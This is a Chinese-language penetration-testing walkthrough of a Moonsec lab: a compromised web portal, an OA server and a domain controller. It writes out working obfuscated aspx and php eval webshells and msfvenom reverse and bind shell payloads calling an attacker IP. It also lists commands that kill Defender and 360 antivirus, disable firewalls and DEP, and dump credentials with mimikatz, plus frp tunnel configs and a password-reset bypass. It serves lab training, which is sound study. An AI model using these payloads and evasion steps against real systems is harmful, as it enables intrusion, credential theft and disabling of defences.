Moonsec_Projet_7
1、基础介绍
1.1 网络拓扑图
主机 | 账号 | 密码 | 网卡 | IP |
---|---|---|---|---|
Windows Server 2016 | administrator | !@#QWE123 | vmnet17(web) | vmnet18 | 192.168.0.144(www.moonlab.com) | 10.10.1.131 |
Windows Server 2012 | administrator | !@#QWEasd | vmnet18 | vmnet19 | 10.10.1.130 | 10.10.10.166 |
Windows Server 2016-dc | administrator | !@#QWEasd456/!@#QWEqwe123. | vmnet19 | 10.10.10.165 |
2、Windows Server 2016 门户网站打点
2.1 nmap
2.1.1 主机探测
nmap -sn 192.168.0.0/24
2.1.2 端口扫描
sudo nmap -sT -sC -sV -O --min-rate=100 -p21,80,999,5989,6588 192.168.0.114 -oN nmapscan/detail
2.1.3 udp端口扫描
sudo nmap -sU --min-rate=100 -p- 192.168.0.114 -oN nmapscan/udp
2.1.4 默认漏洞脚本探测
sudo nmap --script=vuln --min-rate=100 -p21,80,999,5989,6588,137 192.168.0.114 -oN nmapscan/vuln
2.2 目录爆破
2.2.1 设置了10线程,还是寄啦
2.2.2 gobuster也不行
2.2.3 dirb跑一下也寄啦
回到服务端看发现扫描流量被当作cc攻击被拦截了
2.3 绑定域名
其实上边的目录爆破都是无用功,ip无法访问到这个环境的服务,我也是后边才发现这一点的
这个靶场web服务器的域名是www.moonlab.com
在hosts绑定对应的IP方能访问web服务
192.168.0.114 www.moonlab.com
2.4 whatweb
网站存在安全狗
2.5 访问/robots.txt文件
上面说了,ip访问没有任何东西,会重定向。我们使用域名和nmap扫描的结果进行看看。其实 robots.txt 这个文件不管在哪都可以去尝试访问的。
User-agent: *
Disallow: /SiteServer/
Disallow: /SiteFiles/
Disallow: /UserCenter/
2.6 域名绑定后的目录爆破
2.6.1 dirb
线程设置为1秒后,服务器不会有太大的警报
dirb http://www.moonlab.com/ /usr/share/wordlists/dirb/small.txt -z 1000
# -z 线程设置为1秒
2.6.2 尝试py脚本目录扫描
网上了解了扫描目录WAF(安全狗)绕过的方法:
- 降低请求频率,防止IP被ban
- 爬虫白名单绕过
- 代理池请求
由于robots.txt文件有新的引导,这一步暂时可以先放放,后面没思路了可以在回头
#!/usr/bin/env python3
#encoding:utf-8
from cgitb import reset
import requests
import sys
import time
# url = "http://www.moonlab.com/"
with open ('dicc.txt', 'r', encoding='UTF-8') as readfile:
for dirs in readfile.readlines():
url = 'http://www.moonlab.com/'+dirs.strip('\n')
resp = requests.get(url)
strlen = len(resp.text)
print(url + '---statu---' + str(resp.status_code) + '---lens---' + str(strlen))
#sys.exit()
time.sleep(1)
if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301:
if str(strlen) != "2939":
with open('result.txt', 'a', encoding='UTF-8') as writefile:
writefile.write(url + '---statu---' + str(resp.status_code) + '---lens---' + str(strlen) + '\n')
还是有很多很多无用数据,还得手动排除
不过服务端还是会存在一些拦截信息,并不是直接办掉ip。如果网站管理员不在场的情况下是不会及时发现的。
2.7 /SiteServer/
2.7.1 SiteServer禁用JS获取后台账号密码
使用插件Quick Javascript Switcher
在忘记密码页面处,先输入后台账号名admin,然后禁用掉JS,之后点击下一步:
之后什么都不用填,一直下一步就可以:
这个时候就能够成功获取到目标后台的账号密码
账号:admin
密码:admin5566
成功登陆后台系统:
2.7.2 SiteServer后台模板Getshell
生成一个蚁剑的aspx一句话木马,密码为cmd
<% function E6a7aJ71(){var GEPH="unsa",YACK="fe",CF9j=GEPH+YACK;return CF9j;}var PAY:String=Request["cmd"];~eval/*Z3404I2075*/(PAY,E6a7aJ71());%><%@Page Language = JS%>
站点管理 --> 显示功能 --> 模板管理 --> 添加单页模板 --> 添加生成aspx木马以及对应参数 --> 确定
这里面写入的aspx一句话木马最好是能够绕过安全狗和windows defender,我直接使用webshell生成器生成的蚁剑的aspx一句话木马,添加模板写入后,没被WAF,输入完点击确定,返回模板管理
点击刚刚生成的文件名即可大概确认木马已成功上传
进行蚁剑连接 --> 成功
2.8 /SiteFiles/
2.9 /UserCenter/
3、Webshell 上的摸索与拿下
3.1 进入webshell
3.2 蚁剑插件信息收集
3.2.1 基本信息
3.2.2 杀软识别
3.2.3 MS17-010扫描
这里不能使用这个模块进行扫描,直接就被办掉了,被当作cc攻击了
3.2.4 ipconfig /all
发现有双网卡
3.3 aspx shellcode getsystem 提权
这种方法首先上线webshell就得上msf的c2马
3.3.1 制作msf的aspx木马
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.128 lport=12345 -f aspx > msf_shell.aspx
3.3.1 写入木马
3.3.1 建立监听
3.3.1 上线msf
3.3.1 getsystem提权+进程迁移
由于这台winserver2016就是已管理员权限运行的,所以getsystem很容易就提权成功。随后进程迁移后就以及隐藏掉了w3wp.exe这个危险进程了
3.4 PrintSpoofer.exe 本地提权(含免杀)
3.4 关闭杀软和防火墙
貌似效果不是很好啊,这个shell都已经是system了,可是还是无法关闭
meterpreter > run post/windows/manage/killav
meterpreter > shell
meterpreter > chcp 65001
C:\Windows\system32>net stop windefend ------关闭Denfender
C:\Windows\system32>bcdedit.exe /set {current} nx AlwaysOff ------关闭DEP
C:\Windows\system32>netsh advfirewall set allprofiles state off / on ------关闭 / 打开 防火墙
C:\Windows\system32>netsh advfirewall show allprofiles ----查看防火墙状态
直接操作注册表关闭杀软,很成功。注意一定要重启电脑,不然无法生效
禁用Windows Defender,以管理员身份运行命令提示符,输入以下命令,回车后重启
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
若需重新启用Windows Defender,以管理员身份运行命令提示符,输入以下命令,回车后重启
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 0 /t REG_DWORD /f
3.5 收集hash明文
3.5.1 creds_all
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > load kiwi
meterpreter > creds_all
明文密码(还发现了有Domain的存在):
Administrator WIN-FHOQSB51A6Q !@#QWE123
moonlab WIN-FHOQSB51A6Q DvS6yrCjxq3sOQBnIGc
3.5.2 hashdump
3.5.3 cs收集密码凭证
随便来一个mimikatz工具就可以直接获取
3.6 上线CS
3.6.1 msf -> cs
3.6.2 直接cs
cs生成一个无免杀的木马,尝试蚁剑上传执行后,想着该关的都关闭了,运行木马程序后还是失败了
后面网上查了好些资料才发现,需要重新启动电脑让关闭Windows Defender的命令生效。重启后,cs成功上线,终于不会被杀掉了
3.7 远控
3.7.1 rdesktop
既然都有明文密码了,直接尝试远控连接
成功开启了远程桌面
meterpreter > run post/windows/manage/enable_rdp
执行这条命令加上-r加上给出的这个文件,可以关闭远程桌面.用它给的这个文件我们可以关闭远程桌面并清除痕迹。运用下面这个命令查看帮助信息
meterpreter > run multi_console_command -r /root/.msf4/loot/20210413223147_default_192.168.1.7_host.windows.cle_552272.txt
爆了点小错误,网上也有解决办法,最简单的就是因为对方的仅允许运行使用网络级别身份验证的远程桌面的计算机连接(建议)(N)
关闭即可,这里应该是由于开启3389端口是使用msf的后渗透命令执行的,这里暂时先手动关闭
输入账号密码:Administrator !@#QWE123
成功拿下一台主机,想关啥就可以关啥了
4、1.0网段内网渗透
通过cs扫描1.0段,发现1.0段有一台设备,也有80端口的服务
4.1 frp建立隧道
frpc
[common]
server_addr = 192.168.0.128
# 服务器地址
server_port = 7000
# 监听的端口
token = Aa@123.
# 密钥
[socks5]
# socks隧道
type = tcp
# 隧道类型
plugin = socks5
# 使用socks5插件
remote_port = 5000
plugin_user = abc
#隧道用户名
plugin_passwd = abc123
# 隧道密码
use_encryption = true
use_compression = true
# 流量加密
frps
[common]
bind_port = 7000
# 监听的端口
token = Aa@123.
# 密钥
dashboard_port = 7001
# dashboardb端口
dashboard_user = carmi
# dashboard帐号
dashboard_pwd = carmi@123
# dashboard密码
浏览器访问1.0网段的通达OA
4.2 通达OA的rce
既然是通达OA,那么根据之前HW的漏洞,找到了一个针对于通达OA的rce利用的exp
下载exp
git clone https://github.com/wikiZ/tongda-exp-poc
poc验证
这里琢磨了好久,可算找到连接不上的原因了。第一次使用/etc/proxychains4.conf
,刚开始不知道还需要填写账号密码,后面找了好多原因,添加socks5的账号密码,可算明白了
exp利用
路径:http://10.10.1.130/ispirit/interface/xiaoma.php
密码cmd
这里使用默认的shell会被目标主机的360查杀掉,使用这个脚本默认的木马,连接不上会一直显示为空
的情况。这边也是琢磨了好一会儿,看了下这个脚本的源码是要经过base64解密的。那我们直接使用webshell生成器
,生成蚁剑的木马,如何手动经过编码后送入脚本的payload的位置中
一个一个的去尝试。后来尝试出来,这个蚁剑脚本可以连接的
<?php class GS814503 { public function __construct($H5EBt){ @eval("/*Z1zv37810V*/".$H5EBt."/*Z1zv37810V*/"); }}new GS814503($_REQUEST['cmd']);?>
4.3 蚁剑尝试连接
设置代理。这里的代理测试,测试的是http://10.10.1.130
成功连接蚁剑
4.4 1.0内网信息收集
whoami /all
systeminfo
终端页面内容太多了显现不了,直接输出成文件查看。发现该主机打了好多的补丁
ipconfig /all
tasklist /svc
查看进程列表,杀软识别
netstat -ano
net start
4.5 关闭杀软和防火墙
net stop windefend ------关闭Denfender
bcdedit.exe /set {current} nx AlwaysOff ------关闭DEP
netsh advfirewall set allprofiles state off / on ------关闭 / 打开 防火墙
netsh advfirewall show allprofiles ----查看防火墙状态
效果都不怎么样,之关闭了一个防火墙
禁用Windows Defender,以管理员身份运行命令提示符,输入以下命令,回车后重启
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
shutdown /r /t 0 立即重启主机
想直接关闭360全家桶,可是都不太行
tskill pid
taskkill /pid 1160 -t
taskkill /f /t /im 360tray.exe
taskkill /f /t /im 360tray.exe
taskkill /f /t /im ZhuDongFangYu.exe
taskkill /f /t /im 360sd.exe
taskkill /f /t /im 360rp.exe
360tray.exe <=> 360安全卫士-实时保护
ZhuDongFangYu.exe <=> 360安全卫士-主动防御
360sd.exe <=> 360杀毒
360rp.exe <=> 360杀毒
4.6 shellcode正向木马上线主机
使用MSF生成一个shellcode正向木马
sudo msfvenom -p windows/meterpreter/bind_tcp lport=11111 -e x86 /ikata_ga_nai -i 5 -f raw > test.c
MSF设置监听
proxychains msfconsole
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 11111
set rhost 10.10.1.130
把test.c和shellcode加载器上传到目标主机上线
老树开新花之shellcode_launcher免杀Windows Defender
shellcode_launcher.exe -i test.c
4.7 收集hash
load kiwi
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > load kiwi
meterpreter > creds_all
获取不到密码
hashdump
明文密码:
administrator !@#QWEasd
cs收集密码凭证
注意,这台设备由于版本问题,mimikatz无法抓取明文密码,但是也是有办法解决的。就是说我们可以通过修改注册表来显示明文以及需要强制锁屏重新使内存获取密码
来解决,或者也可以直接去hash碰撞解密
,都是没问题的
获取到明文和密文密码
4.8 远控
rdesktop
既然都有明文密码了,直接尝试远控连接
meterpreter > run post/windows/manage/enable_rdp
这里估计是代理原因,但是实际上对方主机轻轻松松开启了3389远程桌面连接发服务。问题还是有,就是还得在靶机上关闭仅允许运行使用网络级别身份验证的远程桌面的计算机连接(建议)(N)
用户名:oa\administrator
密码:!@#QWEasd
成功拿下
4.9 正向代理上线CS
创建监听器
生成可执行持续(Stageless)
必须是带Stageless,不然无法使用正向的监听器
上传木马到目标主机
connect主动连接
正向连接,需要自己主动去连接
5、10.0段内网渗透
1.0段cs的信息收集
目标探测
扫描一下,发现又有一台未知主机
域内信息收集
命令尝试看看是否是域内主机
shell net view
shell net view /domain
shell net user /domain 查询域内又几个用户(只能是域用户才有权限查询)
shell net group "domain computers" /domain 查询域中的计算机名字
shell net group "domain Controllers" /domain 查询域控的名字
shell nslookup -type=SRV _ldap._tcp 查询域控
练习过域渗透的应该明白,net view
爆出了6118的错误,说明域控上是存在防火墙的。还有从命令回显当作也可以看出域的名称为attack。local
ping域控
也证实了10.10.10.165这台主机就是域控
msf添加路由
run get_local_subnets 查看网段
run autoroute -s 10.10.10.0/24
run autoroute -p
msf信息收集
getuid
sysinfo
hashdump
run post/windows/gather/enum_domain 定位一下域控
run post/windows/gather/enum_logged_on_users 查看登陆的用户和sid信息
run post/windows/gather/enum_ad_computers 查看域内主机有那些
令牌窃取
use incognito
list_tokens -u
没戏,该环境没有域控的令牌。这边我们也无法继续尝试下去了
10.0段frp建立隧道
蚁剑上传frp等工具
frps
frpc
添加好进10.0段的路由
尝试nmap一下
这边也是搞了好久好久,对域控的一些操作还不是那么的明白,很多操作暂时也都学的迷迷糊糊的。这里我们尝试跳过防火墙,尝试nmap一下看看能否远程连接,发现还真可以
发现域控明文密码
估计是管理员的一是疏忽,或者为了一人多级方便操作怕忘记把,这边很幸运发现了dc的明文密码